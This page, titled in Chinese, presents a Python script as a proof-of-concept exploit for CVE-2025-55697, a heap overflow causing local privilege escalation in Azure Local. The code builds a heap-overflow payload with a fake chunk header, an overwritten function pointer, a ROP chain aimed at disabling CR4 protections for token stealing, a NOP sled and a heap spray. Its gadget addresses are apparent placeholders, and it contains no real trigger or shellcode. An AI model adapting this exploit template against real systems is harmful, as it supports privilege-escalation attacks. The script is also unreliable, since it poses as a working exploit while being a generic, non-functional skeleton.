CVE-2025-55697：Azure Local堆缓冲区溢出导致本地权限提升漏洞

# CVE-2025-55697 PoC - Azure Local Heap-based Buffer Overflow # Vulnerability: Heap-based buffer overflow leading to local privilege escalation # Target: Microsoft Azure Local import struct import sys # Buffer overflow payload generator for CVE-2025-55697 # This PoC demonstrates the exploitation technique for the heap-based # buffer overflow vulnerability in Azure Local components. VULNERABLE_COMPONENT = "Azure Local Cluster Service" TARGET_PROCESS = "svchost.exe" # Host process for Azure Local services # Heap spray configuration HEAP_SPRAY_SIZE = 0x10000 # 64KB chunks SPRAY_COUNT = 0x1000 # Number of spray iterations # ROP gadget offsets (example - actual gadgets vary by OS version) ROP_POP_RCX = 0x0000000000401234 ROP_POP_RDX = 0x0000000000405678 ROP_POP_RAX = 0x0000000000409ABC ROP_MOV_CR4 = 0x000000000041DEF0 # Token stealing shellcode offset TOKEN_STEAL_OFFSET = 0x0000000000420000 def create_overflow_payload(buffer_size=512, overflow_amount=256): """ Create a heap-based buffer overflow payload. The payload overwrites adjacent heap metadata and objects to achieve arbitrary code execution. """ # Normal data to fill the legitimate buffer payload = b"A" * buffer_size # Overflow data - overwrite heap chunk header and adjacent objects # Heap chunk header (varies by Windows heap implementation) payload += struct.pack("<Q", 0x4141414141414141) # Previous size payload += struct.pack("<Q", 0x4242424242424242) # Size field # Overwrite function pointer or vtable pointer payload += struct.pack("<Q", TOKEN_STEAL_OFFSET) # ROP chain for privilege escalation payload += struct.pack("<Q", ROP_POP_RCX) payload += struct.pack("<Q", 0x0000000000000000) payload += struct.pack("<Q", ROP_POP_RAX) payload += struct.pack("<Q", 0x0000000000000000) payload += struct.pack("<Q", ROP_MOV_CR4) # NOP sled + shellcode payload += b"\x90" * overflow_amount return payload def heap_spray(): """ Spray the heap with controlled data to increase the reliability of the exploit. """ spray_data = b"\x90" * HEAP_SPRAY_SIZE spray_data += create_overflow_payload() return spray_data * SPRAY_COUNT def exploit(): """ Main exploit routine for CVE-2025-55697. Requires local low-privilege access to the target system. """ print(f"[*] Targeting: {VULNERABLE_COMPONENT}") print(f"[*] Target process: {TARGET_PROCESS}") print(f"[*] Generating heap overflow payload...") payload = create_overflow_payload() spray = heap_spray() print(f"[+] Payload size: {len(payload)} bytes") print(f"[+] Heap spray size: {len(spray)} bytes") print(f"[*] Triggering vulnerability via crafted input...") # In actual exploitation, the payload would be delivered through # the vulnerable Azure Local component's input handling mechanism. # This typically involves interacting with a local service or API # that processes user-supplied data without proper bounds checking. print("[!] Note: Actual exploitation requires specific knowledge") print("[!] of the target environment and memory layout.") print("[!] Apply Microsoft security updates immediately.") if __name__ == "__main__": exploit()